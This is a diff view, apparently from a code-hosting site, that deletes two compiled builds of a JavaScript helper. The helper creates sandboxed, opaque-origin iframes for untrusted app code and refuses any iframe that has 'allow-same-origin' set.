|
-
iframe.setAttribute("sandbox", APP_SANDBOX);
|
|
36
|
-
iframe.setAttribute("allow", APP_ALLOW);
|
|
37
|
-
assertOpaqueOrigin(iframe);
|
|
38
|
-
return iframe;
|
|
39
|
-
}
|
|
40
|
-
/**
|
|
41
|
-
* Ensure a (possibly externally-provided) app iframe is opaque-origin: set the
|
|
42
|
-
* sandbox/allow attributes if absent, then assert no `allow-same-origin`. Use
|
|
43
|
-
* this for the case where a host passes in its own iframe element.
|
|
44
|
-
*/
|
|
45
|
-
function ensureSandboxed(iframe) {
|
|
46
|
-
if (!iframe.getAttribute("sandbox")) {
|
|
47
|
-
iframe.setAttribute("sandbox", APP_SANDBOX);
|
|
48
|
-
iframe.setAttribute("allow", APP_ALLOW);
|
|
49
|
-
}
|
|
50
|
-
assertOpaqueOrigin(iframe);
|
|
51
|
-
}
|
|
52
|
-
|
|
53
|
-
exports.createSandboxedIframe = createSandboxedIframe;
|
|
54
|
-
exports.ensureSandboxed = ensureSandboxed;
|
|
@@ -1,51 +0,0 @@
|
|
|
1
|
-
/**
|
|
2
|
-
* The single chokepoint for creating **app iframes** (UI_AS_APPS_SPEC §2 / G1 /
|
|
3
|
-
* threat T1).
|
|
4
|
-
*
|
|
5
|
-
* App iframes MUST be opaque-origin: `sandbox="allow-scripts …"` WITHOUT
|
|
6
|
-
* `allow-same-origin`. With `allow-same-origin` alongside `allow-scripts` an app
|
|
7
|
-
* could remove its own sandboxing and reach the parent — the whole capability
|
|
8
|
-
* model collapses. This is the one invariant with no defense-in-depth, so
|
|
9
|
-
* creation is centralized here and the resolved attribute is asserted. Raw
|
|
10
|
-
* `document.createElement('iframe')` for app content elsewhere is forbidden (a
|
|
11
|
-
* greppable CI check), so the verifiable invariant is "every app iframe is born
|
|
12
|
-
* in this factory."
|
|
13
|
-
*
|
|
14
|
-
* Scope: the opaque-origin app iframes (the runtime + static preview clients).
|
|
15
|
-
* The node/nodebox emulator is a different execution model and is intentionally
|
|
16
|
-
* NOT routed through here.
|
|
17
|
-
*/
|
|
18
|
-
var APP_SANDBOX = "allow-forms allow-modals allow-popups allow-presentation allow-scripts allow-downloads allow-pointer-lock";
|
|
19
|
-
var APP_ALLOW = "accelerometer; camera; encrypted-media; geolocation; gyroscope; hid; microphone; midi; clipboard-read; clipboard-write; xr-spatial-tracking;";
|
|
20
|
-
/** Throw if the iframe would run scripts at a same-origin context (G1/T1). */
|
|
21
|
-
function assertOpaqueOrigin(iframe) {
|
|
22
|
-
var _a;
|
|
23
|
-
var sandbox = (_a = iframe.getAttribute("sandbox")) !== null && _a !== void 0 ? _a : "";
|
|
24
|
-
if (/(^|\s)allow-same-origin(\s|$)/.test(sandbox)) {
|
|
25
|
-
throw new Error("Refusing an app iframe with allow-same-origin alongside allow-scripts: " +
|
|
26
|
-
"the sandbox would be void (UI_AS_APPS_SPEC G1/T1).");
|
|
27
|
-
}
|
|
28
|
-
}
|
|
29
|
-
/** Create an opaque-origin sandboxed iframe for running untrusted app code. */
|
|
30
|
-
function createSandboxedIframe(doc) {
|
|
31
|
-
if (doc === void 0) { doc = document; }
|
|
32
|
-
var iframe = doc.createElement("iframe");
|
|
33
|
-
iframe.setAttribute("sandbox", APP_SANDBOX);
|
|
34
|
-
iframe.setAttribute("allow", APP_ALLOW);
|
|
35
|
-
assertOpaqueOrigin(iframe);
|
|
36
|
-
return iframe;
|
|
37
|
-
}
|
|
38
|
-
/**
|
|
39
|
-
* Ensure a (possibly externally-provided) app iframe is opaque-origin: set the
|
|
40
|
-
* sandbox/allow attributes if absent, then assert no `allow-same-origin`. Use
|
|
41
|
-
* this for the case where a host passes in its own iframe element.
|
|
42
|
-
*/
|
|
43
|
-
function ensureSandboxed(iframe) {
|
|
44
|
-
if (!iframe.getAttribute("sandbox")) {
|
|
45
|
-
iframe.setAttribute("sandbox", APP_SANDBOX);
|
|
46
|
-
iframe.setAttribute("allow", APP_ALLOW);
|
|
47
|
-
}
|
|
48
|
-
assertOpaqueOrigin(iframe);
|
|
49
|
-
}
|
|
50
|
-
|
|
51
|
-
export { createSandboxedIframe as c, ensureSandboxed as e };
|